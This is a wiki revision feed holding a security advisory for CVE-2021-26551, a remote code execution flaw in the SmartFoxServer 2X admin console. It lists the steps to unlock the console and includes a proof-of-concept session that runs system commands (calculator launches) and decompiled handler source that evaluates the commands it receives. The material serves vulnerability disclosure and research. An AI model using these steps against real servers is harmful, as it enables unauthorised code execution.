<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26551_SmartFoxServer_2X_version_2.17.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-26551 SmartFoxServer 2X version 2.17.0 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26551_SmartFoxServer_2X_version_2.17.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26551_SmartFoxServer_2X_version_2.17.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T08:45:28Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-26551_SmartFoxServer_2X_version_2.17.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3637&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;pre&gt; SmartFoxServer 2X 2.17.0 God Mode Console Remote Code Execution   Vendor: gotoAndPlay() Product web page: https://www.smartfoxserver.com Affected version: Server: 2.17.0...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26551_SmartFoxServer_2X_version_2.17.0_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=3637&amp;oldid=prev"/>
		<updated>2021-05-30T03:03:09Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;pre&amp;gt; SmartFoxServer 2X 2.17.0 God Mode Console Remote Code Execution   Vendor: gotoAndPlay() Product web page: https://www.smartfoxserver.com Affected version: Server: 2.17.0...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;br /&gt;
SmartFoxServer 2X 2.17.0 God Mode Console Remote Code Execution&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vendor: gotoAndPlay()&lt;br /&gt;
Product web page: https://www.smartfoxserver.com&lt;br /&gt;
Affected version: Server: 2.17.0&lt;br /&gt;
                  Remote Admin: 3.2.6&lt;br /&gt;
                  SmartFoxServer 2X, Pro, Basic&lt;br /&gt;
&lt;br /&gt;
Summary: SmartFoxServer (SFS) is a comprehensive SDK for&lt;br /&gt;
rapidly developing multiplayer games and applications&lt;br /&gt;
with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal&lt;br /&gt;
Windows Platform, Android, Java, C++ and more. SmartFoxServer&lt;br /&gt;
comes with a rich set of features, an impressive&lt;br /&gt;
documentation set, tens of examples with their source,&lt;br /&gt;
powerful administration tools and a very active support&lt;br /&gt;
forum. Born in 2004, and evolving continuously since&lt;br /&gt;
then, today SmartFoxServer is the leading middleware to&lt;br /&gt;
create large scale multiplayer games, MMOs and virtual&lt;br /&gt;
communities. Thanks to its simplicity of use, versatility&lt;br /&gt;
and performance, it currently powers hundreds of projects&lt;br /&gt;
all over the world, from small chats and turn-based games&lt;br /&gt;
to massive virtual worlds and realtime games.&lt;br /&gt;
&lt;br /&gt;
Desc: An authenticated attacker can execute remote arbitrary&lt;br /&gt;
Python code after enabling and unlocking the undocumented&lt;br /&gt;
console module.&lt;br /&gt;
&lt;br /&gt;
Tested on: Windows (all) 64bit installer&lt;br /&gt;
           Linux/Unix 64bit installer&lt;br /&gt;
           MacOS (10.8+) 64bit installer&lt;br /&gt;
           Java 1.8.0_281&lt;br /&gt;
           Python 3.9.1&lt;br /&gt;
           Python 2.7.14&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic&lt;br /&gt;
                            @zeroscience&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Advisory ID: ZSL-2021-5628&lt;br /&gt;
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5628.php&lt;br /&gt;
&lt;br /&gt;
CVE ID: CVE-2021-26551&lt;br /&gt;
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-26551&lt;br /&gt;
NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2021-26551&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
29.01.2021&lt;br /&gt;
&lt;br /&gt;
--&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
------------------------------------------------------&lt;br /&gt;
Undocumented functionality in software&lt;br /&gt;
#INABIAF (https://en.wikipedia.org/wiki/Undocumented_feature)&lt;br /&gt;
          See also:&lt;br /&gt;
            - Backdoor (computing)&lt;br /&gt;
            - Easter egg (media)&lt;br /&gt;
God Mode Console (Console Module) unlock instructions:&lt;br /&gt;
------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
$ pwd&lt;br /&gt;
/config/admin&lt;br /&gt;
$ vi /admintool.xml # Uncomment &amp;lt;module id=&amp;quot;Console&amp;quot; name=&amp;quot;Console&amp;quot; description=&amp;quot;Interact with the SmartFoxServer instance via command line&amp;quot;/&amp;gt;&lt;br /&gt;
$ cd .. ;pwd&lt;br /&gt;
/config&lt;br /&gt;
$ touch ConsoleModuleUnlock.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mac/Windows PoC:&lt;br /&gt;
----------------&lt;br /&gt;
&lt;br /&gt;
GET http://localhost:8080/admin/modules/console.html HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
--------------------------------------&lt;br /&gt;
ADMIN_CONSOLE, version 3.0.0&lt;br /&gt;
--------------------------------------&lt;br /&gt;
Type help() for assistance.&lt;br /&gt;
&lt;br /&gt;
&amp;gt; help()&lt;br /&gt;
zm      SFSZoneManager&lt;br /&gt;
sfs     SmartFoxServer&lt;br /&gt;
um      SFSUserManager&lt;br /&gt;
api     SFSApi&lt;br /&gt;
bum     SFSBannedUserManager&lt;br /&gt;
xm      SFSExtensionManager&lt;br /&gt;
eng     BitSwarmEngine&lt;br /&gt;
sm      DefaultSessionManager&lt;br /&gt;
&lt;br /&gt;
extras()    For more custom function calls&lt;br /&gt;
shortcuts() For keyboard shortcuts details&lt;br /&gt;
&lt;br /&gt;
&amp;gt; eng&lt;br /&gt;
com.smartfoxserver.bitswarm.core.BitSwarmEngine@3823acc4&lt;br /&gt;
&amp;gt; extras()&lt;br /&gt;
version():                Shows the Console extension version&lt;br /&gt;
reloadScripts():          Reload the dynamic server scripts&lt;br /&gt;
execute():                Launches the last loaded script again&lt;br /&gt;
files(path):              Shows the files at the specified path&lt;br /&gt;
controller(id):           Obtain one of the controllers from its id. 0=System, 1=Extension, 2=Smasher&lt;br /&gt;
zones():                  List of active zones&lt;br /&gt;
&lt;br /&gt;
&amp;gt; version()&lt;br /&gt;
2.0.1&lt;br /&gt;
&amp;gt; files(&amp;quot;.&amp;quot;) # Win64&lt;br /&gt;
['config', 'data', 'extensions', 'lib', 'logs', 'sfs2x-service.exe', 'sfs2x-service.vmoptions', 'sfs2x-standalone.exe', 'sfs2x-standalone.vmoptions', 'sfs2x.bat', 'www', 'zones']&lt;br /&gt;
&amp;gt; files(&amp;quot;.&amp;quot;) # MacOS&lt;br /&gt;
['zones', 'config', 'www', 'extensions', 'logs', 'lib', 'sfs2x-service.vmoptions', 'sfs2x-standalone.vmoptions', 'sfs2x.-standalone', 'data', 'sfs2x-service']&lt;br /&gt;
&amp;gt; import os&lt;br /&gt;
&amp;gt; os.name&lt;br /&gt;
java&lt;br /&gt;
&amp;gt; os.system(&amp;quot;C:\\windows\\system32\\calc.exe&amp;quot;) # Win64&lt;br /&gt;
1&lt;br /&gt;
&lt;br /&gt;
&amp;gt; import popen2&lt;br /&gt;
&amp;gt; os.popen2(&amp;quot;&amp;quot;&amp;quot;osascript -e 'tell app &amp;quot;Calculator&amp;quot; to open'&amp;quot;&amp;quot;&amp;quot;) # MacOS&lt;br /&gt;
1&lt;br /&gt;
&lt;br /&gt;
&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
gmc.py:&lt;br /&gt;
-------&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
#  _____ _____ ____     _____ _____ ____  _____&lt;br /&gt;
# |   __|     |    \   |     |     |    \|   __|&lt;br /&gt;
# |  |  |  |  |  |  |  | | | |  |  |  |  |   __|&lt;br /&gt;
# |_____|_____|____/   |_|_|_|_____|____/|_____|&lt;br /&gt;
#  _____ _____ _____ _____ _____ __    _____&lt;br /&gt;
# |     |     |   | |   __|     |  |  |   __|&lt;br /&gt;
# |   --|  |  | | | |__   |  |  |  |__|   __|&lt;br /&gt;
# |_____|_____|_|___|_____|_____|_____|_____|&lt;br /&gt;
#&lt;br /&gt;
# SmartFoxServer2X Admin Console Scripts&lt;br /&gt;
#&lt;br /&gt;
# (c) 2012-2016 gotoAndPlay()&lt;br /&gt;
# @author Marco Lapi&lt;br /&gt;
#&lt;br /&gt;
# Version 2.x&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
# Python Imports&lt;br /&gt;
import types&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
# This global variable allows to lock the Console so that it can't be misused&lt;br /&gt;
#&lt;br /&gt;
__CONSOLE_LOCK = False&lt;br /&gt;
&lt;br /&gt;
# Java Imports&lt;br /&gt;
import java&lt;br /&gt;
from com.smartfoxserver.v2.entities.data import *&lt;br /&gt;
&lt;br /&gt;
__scripts = [&lt;br /&gt;
        {'name':'version()', 'doc':'Shows the Console extension version'},&lt;br /&gt;
        {'name':'reloadScripts()', 'doc':'Reload the dynamic server scripts'},&lt;br /&gt;
        {'name':'execute()', 'doc':'Launches the last loaded script again'},&lt;br /&gt;
        {'name':'files(path)', 'doc':'Shows the files at the specified path'},&lt;br /&gt;
        {'name':'controller(id)', 'doc':'Obtain one of the controllers from its id. 0=System, 1=Extension, 2=Smasher'},&lt;br /&gt;
        {'name':'zones()', 'doc':'List of active zones'}&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
javashell.py:&lt;br /&gt;
-------------&lt;br /&gt;
&lt;br /&gt;
        # override defaults based on osType&lt;br /&gt;
        if osType == &amp;quot;nt&amp;quot;:&lt;br /&gt;
            shellCmd = [&amp;quot;cmd&amp;quot;, &amp;quot;/c&amp;quot;]&lt;br /&gt;
            envCmd = &amp;quot;set&amp;quot;&lt;br /&gt;
            envTransform = string.upper&lt;br /&gt;
        elif osType == &amp;quot;dos&amp;quot;:&lt;br /&gt;
            shellCmd = [&amp;quot;command.com&amp;quot;, &amp;quot;/c&amp;quot;]&lt;br /&gt;
            envCmd = &amp;quot;set&amp;quot;&lt;br /&gt;
            envTransform = string.upper&lt;br /&gt;
        elif osType == &amp;quot;posix&amp;quot;:&lt;br /&gt;
            shellCmd = [&amp;quot;sh&amp;quot;, &amp;quot;-c&amp;quot;]&lt;br /&gt;
            envCmd = &amp;quot;env&amp;quot;&lt;br /&gt;
        elif osType == &amp;quot;mac&amp;quot;:&lt;br /&gt;
            curdir = ':'  # override Posix directories&lt;br /&gt;
            pardir = '::' &lt;br /&gt;
        elif osType == &amp;quot;None&amp;quot;:&lt;br /&gt;
            pass&lt;br /&gt;
        # else:&lt;br /&gt;
        #    # may want a warning, but only at high verbosity:&lt;br /&gt;
        #    __warn( &amp;quot;Unknown os type '%s', using default behavior.&amp;quot; % osType )&lt;br /&gt;
&lt;br /&gt;
    return _ShellEnv( shellCmd, envCmd, envTransform )&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
com--|&lt;br /&gt;
     |--smartfoxserver--|&lt;br /&gt;
                        |--v2--|&lt;br /&gt;
                               |--admin--|&lt;br /&gt;
                                         |--handlers--|&lt;br /&gt;
                                                      |--requests--|&lt;br /&gt;
                                                                   |--ConsoleModuleReqHandler.java:&lt;br /&gt;
---------------------------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
package com.smartfoxserver.v2.admin.handlers.requests;&lt;br /&gt;
&lt;br /&gt;
import org.python.core.PyJavaInstance;&lt;br /&gt;
import org.python.core.PyException;&lt;br /&gt;
import com.smartfoxserver.v2.SmartFoxServer;&lt;br /&gt;
import java.io.IOException;&lt;br /&gt;
import org.apache.commons.io.FileUtils;&lt;br /&gt;
import java.io.File;&lt;br /&gt;
import com.smartfoxserver.bitswarm.core.BitSwarmEngine;&lt;br /&gt;
import org.python.core.PyString;&lt;br /&gt;
import org.python.core.Py;&lt;br /&gt;
import org.python.core.PySystemState;&lt;br /&gt;
import com.smartfoxserver.v2.entities.data.SFSObject;&lt;br /&gt;
import com.smartfoxserver.v2.extensions.ExtensionLogLevel;&lt;br /&gt;
import com.smartfoxserver.v2.entities.data.ISFSObject;&lt;br /&gt;
import com.smartfoxserver.v2.entities.User;&lt;br /&gt;
import org.python.core.PyObject;&lt;br /&gt;
import org.python.util.PythonInterpreter;&lt;br /&gt;
import com.smartfoxserver.v2.annotations.Instantiation;&lt;br /&gt;
import com.smartfoxserver.v2.annotations.MultiHandler;&lt;br /&gt;
&lt;br /&gt;
@MultiHandler&lt;br /&gt;
@Instantiation(Instantiation.InstantiationMode.SINGLE_INSTANCE)&lt;br /&gt;
public class ConsoleModuleReqHandler extends BaseAdminModuleReqHandler&lt;br /&gt;
{&lt;br /&gt;
    public static final String MODULE_ID = &amp;quot;Console&amp;quot;;&lt;br /&gt;
    public static final String VER = &amp;quot;2.0.1&amp;quot;;&lt;br /&gt;
    private static final String MODULE_UNLOCK_FILE = &amp;quot;ConsoleModuleUnlock.txt&amp;quot;;&lt;br /&gt;
    private static final String COMMANDS_PREFIX = &amp;quot;console&amp;quot;;&lt;br /&gt;
    private static final String FN_HINTS = &amp;quot;__hints__&amp;quot;;&lt;br /&gt;
    private static final String CONSOLE_LOCK = &amp;quot;__CONSOLE_LOCK&amp;quot;;&lt;br /&gt;
    private static final String CMD_RELOAD_SCRIPTS = &amp;quot;reloadScripts()&amp;quot;;&lt;br /&gt;
    private static final String SCRIPT_PATH = &amp;quot;config/admin/gmc/&amp;quot;;&lt;br /&gt;
    private static final String MAIN_SCRIPT = &amp;quot;gmc.py&amp;quot;;&lt;br /&gt;
    private static final String GRID_SCRIPT = &amp;quot;gmc-grid.py&amp;quot;;&lt;br /&gt;
    private final String REQ_CMD = &amp;quot;cmd&amp;quot;;&lt;br /&gt;
    private final String REQ_HINT = &amp;quot;hint&amp;quot;;&lt;br /&gt;
    private final String REQ_SCRIPT = &amp;quot;script&amp;quot;;&lt;br /&gt;
    private final String RES_ERROR_LOCKED = &amp;quot;locked&amp;quot;;&lt;br /&gt;
    protected PythonInterpreter runTime;&lt;br /&gt;
    private PyObject fnGetHints;&lt;br /&gt;
    private volatile boolean inited;&lt;br /&gt;
    &lt;br /&gt;
    public ConsoleModuleReqHandler() {&lt;br /&gt;
        super(&amp;quot;console&amp;quot;, &amp;quot;Console&amp;quot;);&lt;br /&gt;
        this.inited = false;&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    public void handleAdminRequest(final User sender, final ISFSObject params) {&lt;br /&gt;
        if (!this.inited) {&lt;br /&gt;
            this.init();&lt;br /&gt;
        }&lt;br /&gt;
        if (!this.isModuleUnlocked()) {&lt;br /&gt;
            this.trace(ExtensionLogLevel.WARN, &amp;quot;Console module is locked. Request denied&amp;quot;);&lt;br /&gt;
            this.sendResponse(&amp;quot;locked&amp;quot;, (ISFSObject)new SFSObject(), sender);&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
        final String cmd = params.getUtfString(&amp;quot;__[[REQUEST_ID]]__&amp;quot;);&lt;br /&gt;
        if (cmd.equals(&amp;quot;cmd&amp;quot;)) {&lt;br /&gt;
            this.handleCommand(params, sender);&lt;br /&gt;
        }&lt;br /&gt;
        else if (cmd.equals(&amp;quot;hint&amp;quot;)) {&lt;br /&gt;
            this.handleCodeHint(params, sender);&lt;br /&gt;
        }&lt;br /&gt;
        else if (cmd.equals(&amp;quot;script&amp;quot;)) {&lt;br /&gt;
            this.handleScript(params, sender);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    public synchronized void init() {&lt;br /&gt;
        final String script = this.loadMainScript();&lt;br /&gt;
        if (script == null) {&lt;br /&gt;
            throw new RuntimeException(&amp;quot;Cannot load AdminConsole's helper script! Plase reinstall this Extension making sure to follow the documentation step by step.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        this.runTime = new PythonInterpreter((PyObject)null, new PySystemState());&lt;br /&gt;
        final PySystemState sys = Py.getSystemState();&lt;br /&gt;
        sys.path.append((PyObject)new PyString(&amp;quot;./extensions/&amp;quot;));&lt;br /&gt;
        sys.path.append((PyObject)new PyString(&amp;quot;./extensions/__lib__/AdminConsole/&amp;quot;));&lt;br /&gt;
        this.runTime.set(&amp;quot;sfs&amp;quot;, (Object)this.sfs);&lt;br /&gt;
        this.runTime.set(&amp;quot;eng&amp;quot;, (Object)BitSwarmEngine.getInstance());&lt;br /&gt;
        this.runTime.set(&amp;quot;api&amp;quot;, (Object)this.sfs.getAPIManager().getSFSApi());&lt;br /&gt;
        this.runTime.set(&amp;quot;um&amp;quot;, (Object)this.sfs.getUserManager());&lt;br /&gt;
        this.runTime.set(&amp;quot;zm&amp;quot;, (Object)this.sfs.getZoneManager());&lt;br /&gt;
        this.runTime.set(&amp;quot;xm&amp;quot;, (Object)this.sfs.getExtensionManager());&lt;br /&gt;
        this.runTime.set(&amp;quot;bum&amp;quot;, (Object)this.sfs.getBannedUserManager());&lt;br /&gt;
        this.runTime.set(&amp;quot;sm&amp;quot;, (Object)this.sfs.getSessionManager());&lt;br /&gt;
        this.runTime.set(&amp;quot;__parent__&amp;quot;, (Object)this);&lt;br /&gt;
        this.runTime.exec(&amp;quot;_2XGlobals_ = {'sfs':sfs,'eng':eng,'api':api,'um':um,'zm':zm,'xm':xm,'bum':bum,'sm':sm}&amp;quot;);&lt;br /&gt;
        this.runTime.exec(script);&lt;br /&gt;
        this.fnGetHints = this.runTime.get(&amp;quot;__hints__&amp;quot;);&lt;br /&gt;
        this.inited = true;&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    private String loadMainScript() {&lt;br /&gt;
        String script = null;&lt;br /&gt;
        try {&lt;br /&gt;
            script = FileUtils.readFileToString(new File(&amp;quot;config/admin/gmc/gmc.py&amp;quot;));&lt;br /&gt;
        }&lt;br /&gt;
        catch (IOException ex) {}&lt;br /&gt;
        if (SmartFoxServer.grid()) {&lt;br /&gt;
            String gridScript = null;&lt;br /&gt;
            try {&lt;br /&gt;
                gridScript = FileUtils.readFileToString(new File(&amp;quot;config/admin/gmc/gmc-grid.py&amp;quot;));&lt;br /&gt;
                script = String.valueOf(script) + gridScript;&lt;br /&gt;
            }&lt;br /&gt;
            catch (IOException ex2) {}&lt;br /&gt;
        }&lt;br /&gt;
        return script;&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    private void handleCommand(final ISFSObject params, final User sender) {&lt;br /&gt;
        PyException err = null;&lt;br /&gt;
        final String cmd = params.getUtfString(&amp;quot;c&amp;quot;);&lt;br /&gt;
        PyObject result = null;&lt;br /&gt;
        ISFSObject response = null;&lt;br /&gt;
        if (!cmd.equals(&amp;quot;reloadScripts()&amp;quot;)) {&lt;br /&gt;
            this.checkConsoleLock();&lt;br /&gt;
        }&lt;br /&gt;
        try {&lt;br /&gt;
            result = this.runTime.eval(cmd);&lt;br /&gt;
        }&lt;br /&gt;
        catch (PyException err3) {&lt;br /&gt;
            try {&lt;br /&gt;
                this.runTime.exec(cmd);&lt;br /&gt;
            }&lt;br /&gt;
            catch (PyException err2) {&lt;br /&gt;
                err = err2;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        if (result != null) {&lt;br /&gt;
            String repr = null;&lt;br /&gt;
            if (result instanceof PyJavaInstance) {&lt;br /&gt;
                final Object o = ((PyJavaInstance)result).__tojava__((Class)Object.class);&lt;br /&gt;
                repr = o.toString();&lt;br /&gt;
            }&lt;br /&gt;
            else {&lt;br /&gt;
                repr = result.toString();&lt;br /&gt;
            }&lt;br /&gt;
            repr = this.checkHTML(repr);&lt;br /&gt;
            response = (ISFSObject)new SFSObject();&lt;br /&gt;
            response.putUtfString(&amp;quot;r&amp;quot;, repr);&lt;br /&gt;
        }&lt;br /&gt;
        else if (err != null) {&lt;br /&gt;
            response = (ISFSObject)new SFSObject();&lt;br /&gt;
            response.putUtfString(&amp;quot;e&amp;quot;, err.toString());&lt;br /&gt;
        }&lt;br /&gt;
        this.sendResponse(&amp;quot;cmd&amp;quot;, response, sender);&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    private void handleCodeHint(final ISFSObject params, final User sender) {&lt;br /&gt;
        this.checkConsoleLock();&lt;br /&gt;
        final String cmd = params.getUtfString(&amp;quot;c&amp;quot;);&lt;br /&gt;
        try {&lt;br /&gt;
            final PyObject pyObj = this.runTime.eval(cmd);&lt;br /&gt;
            final PyObject res = this.fnGetHints.__call__(pyObj, (PyObject)new PyJavaInstance((Object)sender));&lt;br /&gt;
            final SFSObject sfso = (SFSObject)res.__tojava__((Class)SFSObject.class);&lt;br /&gt;
            this.sendResponse(&amp;quot;hint&amp;quot;, (ISFSObject)sfso, sender);&lt;br /&gt;
        }&lt;br /&gt;
        catch (PyException ex) {}&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    private void handleScript(final ISFSObject params, final User sender) {&lt;br /&gt;
        this.checkConsoleLock();&lt;br /&gt;
        final byte[] data = params.getByteArray(&amp;quot;script&amp;quot;);&lt;br /&gt;
        final String scriptData = new String(data);&lt;br /&gt;
        final ISFSObject response = (ISFSObject)new SFSObject();&lt;br /&gt;
        try {&lt;br /&gt;
            this.runTime.exec(scriptData);&lt;br /&gt;
            final PyObject fnExecute = this.runTime.get(&amp;quot;execute&amp;quot;);&lt;br /&gt;
            final PyObject res = fnExecute.__call__();&lt;br /&gt;
            response.putUtfString(&amp;quot;r&amp;quot;, res.toString());&lt;br /&gt;
        }&lt;br /&gt;
        catch (PyException err) {&lt;br /&gt;
            response.putUtfString(&amp;quot;e&amp;quot;, err.toString());&lt;br /&gt;
        }&lt;br /&gt;
        this.sendResponse(&amp;quot;script&amp;quot;, response, sender);&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    private String checkHTML(String data) {&lt;br /&gt;
        if (data.indexOf(60) &amp;gt; -1 &amp;amp;&amp;amp; data.indexOf(&amp;quot;&amp;lt;span&amp;quot;) == -1) {&lt;br /&gt;
            data = data.replaceAll(&amp;quot;\\&amp;lt;&amp;quot;, &amp;quot;&amp;lt;&amp;quot;);&lt;br /&gt;
            return data.replaceAll(&amp;quot;\\&amp;gt;&amp;quot;, &amp;quot;&amp;gt;&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
        return data;&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    private void checkConsoleLock() {&lt;br /&gt;
        final Boolean locked = (Boolean)this.runTime.get(&amp;quot;__CONSOLE_LOCK&amp;quot;, (Class)Boolean.class);&lt;br /&gt;
        if (locked) {&lt;br /&gt;
            throw new IllegalStateException(&amp;quot;Admin Console is locked.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    private boolean isModuleUnlocked() {&lt;br /&gt;
        final File lock = new File(&amp;quot;config/ConsoleModuleUnlock.txt&amp;quot;);&lt;br /&gt;
        return lock.exists();&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>